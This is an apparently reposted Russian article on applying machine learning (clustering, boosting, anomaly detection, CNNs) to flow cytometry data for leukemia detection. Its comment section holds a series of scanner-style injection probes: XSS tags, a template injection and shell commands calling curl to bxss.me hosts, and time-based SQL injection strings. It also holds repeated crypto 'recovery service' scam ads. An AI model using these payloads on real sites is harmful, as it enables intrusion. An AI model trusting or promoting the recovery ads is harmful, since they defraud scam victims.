Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Cryptocurrencies: 9505 / Markets: 114717
Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

Что общего между раком крови, лазерами и нейронными сетями?

Доброго времени суток, дорогой Habr, надеюсь вы успели заскучать после 3-х месяцев паузы (ссылка на прошлую статью). На связи снова Николай Иванов и сегодня вы узнаете, что общего между раком крови, лазерами и машинным обучением. В этой статье мы поговорим с вами о методе проточной цитофлуориметрии, как он работает и как врачи определяют рак костного мозга и крови. Далее обсудим причём тут машинное обучение, как его можно использовать для ускорения работы врачей, а также чего мы достигли и есть ли смысл этим вообще заниматься? Рассказ я буду вести именно в том порядке, в котором мы двигались, при решении данной задачи. Приятного чтения!

Начнём с проточной цитофлуориметрии

1f51d9cd360be3ecc80d28b37e7ba365.png

Проточная цитометрия (проточная цитофлуориметрия) — метод исследования дисперсных сред в режиме поштучного анализа элементов дисперсной фазы по сигналам светорассеяния и флуоресценции. На картинке выше схематично изображен принцип работы проточной цитометрии: как движутся клетки, зеркала, лазеры и АЦП. Если просто и кратко: мы помечаем клетки специальными красителями и, пока они движутся в потоке, облучаем лазером. В зависимость от красителя, светофильтра и положения клетки — получаем разные картинки на детекторе. Подробнее тут (ссылка).

Данные метод является стандартным для детекции различных видов лейкозов. Есть определенный набор каналов, которых хорошо изучен и позволяет определять группы раковых клеток. Врачи обычно строят попарные графики либо с различными красителями, либо с различными положениями клеток, попавших на детектор (например, FSC (Forward scatter) — рассеивание под прямым углом, SSC (Side scatter) — рассеивание под углом 90). Вот примеры картинок (взято отсюда), которые анализируют врачи:

Типичные картинки, которые анализируют врачи
Типичные картинки, которые анализируют врачи

Видно, что клетки формируют различные группы, которые можно отделять друг от друга визуально, чем и занимаются врачи.

А зачем что‑то менять? Метод рабочий, куча исследований и статей по тому, как правильно работать с этими изображениями, точность врачей высока, зачем тут машинное обучение? А я вам отвечу!)

  1. Время. На поиск кластеров и просмотр таких попарных взаимодействий, врач тратит достаточно много времени.

  2. Размерность. Врач смотрит на двумерные графики. Да он может достаточно точно найти информацию по двумерному графику, но такие данные изначально представлены в многомерном пространстве, где больше информации. Посмотреть на картинку из 10-мерного пространства трудновато)))

  3. Точность. А вдруг у нас получится улучшить точность и сделать этот процесс автоматизированным?

  4. Квалификация. Не у всех врачей есть достаточная квалификация для диагностики редких форм лейкозов. В данном случае модель, обученная на данных размеченных экспертами может служить хорошим подспорьем для менее опытных врачей.

Как минимум эти 4 причины заставили нас заняться этой сложной, но интересной задачей. Приступим!

Какие данные у нас есть?

Источником данных является один из крупнейших центров детской гематологии и онкологии, который любезно предоставила нам обезличенные данные для исследования. Данные хранятся в специальных форматах “.fcs” (подробнее тут). Этот формат данных используется для хранения большого массива информации которые внутри себя содержать коэффициенты компенсации (о них я расскажу ниже), коэффициенты для различных преобразований, сами детектированные точки, наборы флуоресцентов, а также некоторую разметку врачей, которую они использовали для постановки диагнозов. Для каждого пациента также имеется поставленный диагноз (Т‑лимфобластный лейкоз, Лейкоз В-2 и т. д.) и доля бластных клеток в крови. В данных имеется естественный для профиля данной клиники перекос в плане количества больных и здоровых пациентов, так как больница являются ведущим федеральным центром по диагностики детских онкогематологических заболеваний.

В целом, в выборке 150 здоровых пациентов, больных — 906. Количество бластных клеток от 0 до 100%. У здоровых 0% бластных клеток, чем тяжелее болен человек тем больше процент. Распределение пациентов по количеству бластных клеток показано на диаграмме. Такой дисбаланс здоровых и больных будет достаточно сложно победить, но мы пытались). Тут сразу и задачу, и метрику можно выбрать. Если задача регрессии, тогда метрики RMSE или MAE. Можно решать также задачу классификации, есть рак или нет, тогда подходящие метрики ROC AUC, Precision, Recall для обоих классов.

Распределение пациентов, по количеству бластных клеток
Распределение пациентов, по количеству бластных клеток

Для каждого пациента имеется своя таблица данных. Она представляет из себя точки и то как они детектировались в зависимости от красителей. Размер впечатляет — около 28 тысяч точек на 13 колонок (это те самые красители и различные углы измерения, под которыми клетки попадают на детектор). Пример:

Пример таблицы данных
Пример таблицы данных

Для быстроты обработки, мы преобразовали данные в parquet, так как записывать в данные мы ничего не собираемся — это приемлемый вариант с точки зрения скорости чтения.

Нужно сказать пару слов про разбиение данных. Пациенты были разделены по в соотношении 70/15/15. 70% — Данные для тренировки, 15% — валидация, 15% — тест, их модель не видела и под них не настраивались параметры. Важно отметить, что данные были отобраны по принципу out‑of‑time — стандартный прием при работе с данными, зависящими от времени. Отметим также что наши данные могут немного варьироваться, в более новых образцах могут быть удалены некоторые каналы; может использоваться более современное и точное оборудование. Также мы фиксировали сиды и считали все метрики на 10 сидах, для более справедливого сравнения моделей. Очень важно отметить, что для нашего алгоритма мы использовали лишь скрининговые данные.

Как их анализировать?

Когда мы впервые увидели данные и решили посмотреть на них в 2D, увидели вот это.

WTF??
WTF??

Стоп, что? У врачей такие красивые картинки были, а где кластеры??? Что происходит — первая моя реакция. Немного заспойлерю: более 80% данных оказались выбросами).

Почему это именно выбросы? Если посмотреть на картинки, на которые смотрит врач, по ним явно определяются различные группы клеток, такие как лимфоциты (ссылка), моноциты (ссылка) и другие. Тут мы видим полный хаос. Хотя сначала мы пробовали обучать и без удаления выбросов 😅😅.

Теперь необходимо сказать, что ко всем необходимым трансформациям, мы пришли не сразу, это был длительный и трудный процесс.

Как мы убрали эти выбросы и получили читаемые картинки?

  1. Компенсация

  2. Трансформация

  3. Эвристики

Начнём с компенсации.

После возбуждения лазером флуоресцентные реагенты, связанные с клетками или частицами, излучают свет, который обнаруживается в соответствии с их конкретным диапазоном длин волн. При использовании комбинации флуоресцентных красителей эти реагенты должны иметь отличающиеся спектры излучения. Происходит спектральное перекрытие между флуоресцентными каналами, иначе говоря, мы получаем искажённую картину для каждого из каналов, зашумлённую если удобно, другими каналами. Подробнее о этом процессе написано тут. Для того чтобы это учесть такие эффекты искажения существуют специальные матрицы компенсации, обычно они зашиваются прямо в прибор. И для того, чтобы получить исходный сигнал, полученные на детекторе без шума, необходимо обратить эту матрицу и умножить на данные, полученные на приборе. Опять же подробнее можно почитать здесь. Пример матрицы компенсации выглядит так:

Пример матрицы компенсации
Пример матрицы компенсации

После применения компенсации обычно удаётся удалить шум в соседних каналах.

Пример работы компенсации в соседних каналах
Пример работы компенсации в соседних каналах

Трансформация.

Однако, применяя только лишь операцию компенсации, добиться чётких точечных диаграмм не получится. Так как даже после компенсации, выбросы никуда не пропали, в данных всё ещё могут встречаться огромные значения 1e256 и др. Используем трансформацию! Она позволит изменить масштаб и форму данных, ну, и к тому же сами врачи её используют. Основные трансформации, которые используют врачи — это log transform и logicle transform.

  • Log Transform

Как его считать:

flog(x, T, M) = (1 / M) * log10(x / T) + 1

  • Logicle Transform

Как его считать:

844dea3ace16cfb85b10a40c429e3209.png

Сравним эти два способа трансформации на тех же самых данных после компенсации, все коэффициенты вшиты в прибор и берутся для каждого пациента свои. Подробнее про то, как появились эти трансформации можно найти тут.

Log transform слева, Logicle transform справа

Log vs Logicle transform
Log vs Logicle transform

Как можно заметить, Logicle transform преобразовывает картину более «интересно»:

  • во‑первых, мы получаем нормированные данные со значениями от 0 до 1, что является предпочтительным при работе во многих моделях;

  • во‑вторых, при использовании log трансформации мы видим, что «полоски» остаются и снизу и сверху относительно тех данных, которые нам нужны;

  • в‑третьих, не совсем понятно, как делать «срез» относительно этих данных.

В итоге было принято решение использовать Logicle, кстати, сами врачи его чаще и используют, следуем по их стопам.

А теперь про эвристику.

Да, данные после преобразования стали нормированными, но всё ещё видны эти «полосы», которые явно не являются клетками (это выбросы, огромные значения, которые после трансформации превращаются в полосы). Тут в комнату входит эвристика! Если приблизить данные после Logicle transform в диапазоне от 0 до 0.1 можно увидеть такую картину:

Вот как выглядит успех
Вот как выглядит успех

Вот референс с профильных форумов по цитометрии:

Источник: https://www.bio-rad-antibodies.com/blog/a-guide-to-gating-in-flow-cytometry.html

Другое дело! Мы получили то, что хотели, удалили все выбросы и получили адекватную картину, с точки зрения врачей. Вперёд к анализу!

Наивный подход

У нас теперь есть данные без шума. Давайте их анализировать! Стоп. А что нам с ними теперь делать? Для одного пациента у нас огромная таблица, с сырыми данными работать не хочется, хочется как‑то агрегировать эти данные в вектор, чтобы подать какому‑то классическому алгоритму машинного обучения.

Самая наивная и первая идея, которая пришла в голову: а что если посчитать средние, медианы, процентили и другие статистические характеристики данных для каждого пациента по каждому каналу и использовать их как признаки? Ну а давайте попробуем! В качестве регрессора мы пробовали разные модели, но лучше всего сработал бустинг. Вот таблица результатов.

Регрессия:

Модель

Test RMSE

Test MAE

Pearson corr

Spearman corr

XGBoost

23.01

14.49

0.75

0.8

Классификация:

Модель

roc_auc

Recall_0

Recall_1

Precision_0

Precision_1

XGBoost

0.92±0.06

0.58±0.11

0.966±0.09

0.705±0.12

0.916±0.13

P.S. Все таблицы с метриками, представлены для тестовых данных.

Результаты, мягко говоря, не впечатляющие. Наивный подход плох тем, что мы смешиваем все группы клеток в один мешок, а можно ли лучше?

Кластеризация

Стоп, так врачи же выделяют кластеры? А давайте попробуем также использовать кластеризатор, и будем показывать ему сразу все 13 колонок. В качестве кластеризатора был выбран алгоритм «Kmeans++» (ссылка). Почему именно он? Мы полагаем, что количество кластеров фиксировано и примерно одинаково для всех больных и всех здоровых. Следовательно мы можем обучить его на всех пациентах сразу, чтобы найти центроиды кластеров, запоминая положение центроидов, мы можем при появлении новых клеток, отнести нашу клетку к одному из кластеров. А дальше, зная полученные кластеры, мы можем посчитать те же характеристики/признаки, что и в наивном подходе. Тогда сколько кластеров выбрать? Мы искали в промежутке от 10 до 100 кластеров, и выбирали по наилучшим метрикам. Самый лучший вариантом оказалось 50 кластеров. То есть мы имеем какие‑то кластеры клеток (в идеале мы хотим получить именно те кластеры клеток, которые имеются у нас в крови по типу лимфоцитов, моноцитов и др.) и имеем статистики по кластерам, то есть их размер, разброс и др. Такие признаки, чисто интуитивно, должны вносить больше информации.

Такой вектор признаков размерности 9150 для одного пациента, мы и подавали в регрессор и классификатор. И каков же результат? Ниже таблица для 10 сидов со средними и их стандартными отклонениями.

Модель

Test RMSE

Test MAE

Pearson

corr

Spearman

corr

XGBoost +кластеры

16.01±0.65

10.61±0.23

0.89±0.02

0.86±0.02

Мы видим значительное улучшение всех метрик. Идея сработала на ура!

Также посмотрим на метрики классификации, то есть если бы мы решали задачу предсказания, есть рак или нет, по тем же фичам, что и для регрессии(0 класс — это здоровые, 1 — больные).

Модель

roc_auc

Recall_0

Recall_1

Precision_0

Precision_1

XGBoost +кластеры

0.952±0.002

0.68±0.07

0.966±0.01

0.773±0.05

0.947±0.01


Как можно заметить, из-за сильного дисбаланса, для здоровых пациентов метрики хуже.

Нейронные сети

А куда же без нейронных сетей. Попробуем на тех же признаках по кластерам, что и в предыдущем пункте обучить полносвязный персептрон (клац) со следующей архитектурой: 5 полносвязных слоёв + Dropout + GeLU. Также в процессе экспериментов пробовали добавлять, удалять слои, менять активацию, пока что лучшие результаты выглядят так.

Регрессия:

Модель

Test RMSE

Test MAE

Pearson corr

Spearman corr

NN + кластеры

17.4±0.2

12.98±0.31

0.88±0.04

0.85±0.03

Классификация:

Модель

roc_auc

Recall_0

Recall_1

Precision_0

Precision_1

NN + кластеры

0.93±0.02

0.54±0.12

0.943±0.017

0.69±0.11

0.931±0.09

Нейронная сеть ошибается на других объектах нашей выборки, что в потенциале может привести нас к более успешной классификации для класса здоровых и больных.

Детекция аномалий

Идея с детекцией аномалии была не супер гениальная. У нас лейкозные клетки должны отличаться от обычных (условно нормальных). А не попробовать ли нам детекцию аномалий, подумали мы? И попробовали! Пробовали две самых популярных метода: Local Outlier factor и Isolation Forest. Подробнее о них можно почитать в документации библиотеки sklearn. Ниже представлены результаты для задачи классификации от наших двух кандидатов.

LocalOutlier

Модель

Recall_0

Recall_1

Precision_0

Precision_1

L_Out. + кластеры

0.96±0.07

0.76±0.09

0.41±0.13

0.99±0.04

IsoForest

Модель

Recall_0

Recall_1

Precision_0

Precision_1

Iso + кластеры

0.36±0.23

0.91±0.01

0.41±0.09

0.89±0.07

Как можно заметить, LocalOutlierFactor очень хорошо справляется с классом здоровых. Так что данный алгоритм будет нам полезен.

Стэкинг

Я думаю, опытные машин лёрнеры уже догадались к чему мы идём. Используем все наши замечательные алгоритмы вместе, и подадим их предсказания на вход решающему регрессору и классификатору, и интуиция подсказывает, что должно получиться что‑то суперхорошее. Проверим? (ссылка для ознакомления)

Регрессия:

Модель

Test RMSE

Test MAE

Pearson corr

Spearman corr

2 anomaly + NN + XGBoost

13.42±0.4

7.78±0.2

0.92±0.01

0.92±0.01

Классификация:

Модель

roc_auc

Recall_0

Recall_1

Precision_0

Precision_1

2 anomaly + NN + XGBoost

0.956±0.01

0.72±0.1

0.973±0.004

0.82±0.03

0.954±0.01

Вау и ах! Вот это действительно хорошие результаты. Да, они не идеальны, но получить такой результат с помощью классических моделей и интуитивных эвристик, это великолепно!

Вам мало? нам тоже

Рассказав о наших результатах коллегам и врачам, мы услышали много интересных комментариев, идей и замечаний, некоторые из них: feature selection, свёрточные сети, интерпретируемость для врачей.

Действительно, заняться отбором признаков не помешало бы, так как 9150 — звучит многовато.

Попробовать свёрточные сети — отличная идея. В идеале, мы научим сетку находить те визуальные паттерны, которые находят врачи.

А вот с интерпретируемостью возникает проблема, возможно получится решить её с помощью сверток и их карт активации.

Свёрточные сети

Я попробовал обучить классическую свёрточную сеть, а также использовать transfer learning подход с модели ConvNextV2 (huggingface).

В качестве картинок были использованы 78 попарных точечных диаграмм, которые обычно строят врачи. Далее я использовал классическую пирамидальную схему с двумя свёрточными слоями, батч нормализацией (batch normalization), SiLU и MaxPooling, на выходе было 2 полносвязных слоя. Решалась только задача классификации. Таблица с результатами:

Модель

roc_auc

Recall_0

Recall_1

Precision_0

Precision_1

CNN

0.93

0.76

0.95

0.7

0.96

Как ни странно, используя ConvNextV2 модель дико переобучалась и определяла всех больными(

Модель

roc_auc

Recall_0

Recall_1

Precision_0

Precision_1

CNN

0.29

0.0

1.0

0.0

0.86

А что с картами активации в CNN? Давайте посмотрим вместе.

Карты активации (feature map) для одного из больных и здоровых:

Карты активации с первого свёрточного слоя: cлева больной, справа здоровый
Карты активации с первого свёрточного слоя: cлева больной, справа здоровый
Карты активации со второго свёрточного слоя: cлева больной, справа здоровый
Карты активации со второго свёрточного слоя: cлева больной, справа здоровый

Можно заметить разные карты активации для здоровых и больных. И в целом по результатам на тесте видно, что CNN неплохо справляется как на больных, так и на здоровых. Но как выяснилось из разговоров с врачами, к сожалению, это не является той интерпретацией, которую они ожидали увидеть. Врачам было бы интересно получить картинку, с которой им привычно работать, например график FSC vs SSC, на котором выделялись бы отдельными цветами бластные клетки. В целом они хотят смотреть на более приближенную к их работе картинку, но с прорисованными кластерами бластных клеток.

Итоговые результаты

Как ни странно, добавление CNN в мета классификатор ухудшило метрики на тесте, но улучшило метрики на валидации. Для регрессора результат почти не изменился. Поэтому мы пока придерживаемся моделей без него.

А что делали другие?

Уже в процессе финализации результатов я наткнулся на статью 2018 года (ссылка). Там они делают акцент на скорость, а также говорят про неконсистентность мнений врачей, которую мы также упомянули. В их статье они учились в том числе отделять различные типы лейкозов друг от друга, чем мы не занимались. В их работе использовались две метрики: точность и ROC AUC. Также интересно, что использовали z‑score нормализацию. Их пайплайн состоял из трёх основных частей:

  1. Использовали Gaussian Mixture Model (GMM) и метод максимального правдоподобия (подробнее) для поиска параметров эмпирического распределения для каждого из красителей.

  2. Fisher gradient vectorization (подробнее уже у них в статье), чтобы более точно рассчитать параметры распределения каждого из красителей с помощью GMM.

  3. Составили вектор из параметров распределения для каждого из пациентов и затем подавали в SVM (ссылка).

Подход кажется достаточно простым и понятным и концептуально похож на наш базовый подход. Справедливости ради, ребята решали даже более сложную задачу — выявление минимальной остаточной болезни. Избежать проблем с визуализацией им также не удалось. Ещё одно интересно наблюдение, что они использовали меньше каналов и метрика не изменилась сильно.

Финальный аккорд

На данный момент у нас имеется пожелание придумать интерпретацию модели (врачи хотят видеть конкретные кластеры клеток, на которые модель смотрит, при принятии решения), а также запрос на повышение чувствительности до 99–100%! Мы не собираемся останавливаться и будем пробовать улучшить наш результат, возможно проверим более современные ML‑алгоритмы, отобрать признаки. Также для продолжения работы необходимо увеличение выборки данных и выравнивание дисбаланса классов.

Если у вас есть идеи ждём ваши предложения в комментариях.

Работы по проекту ещё очень и очень много, но мы надеемся помочь врачам всего мира в этом нелёгком деле.

Всем спасибо!

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

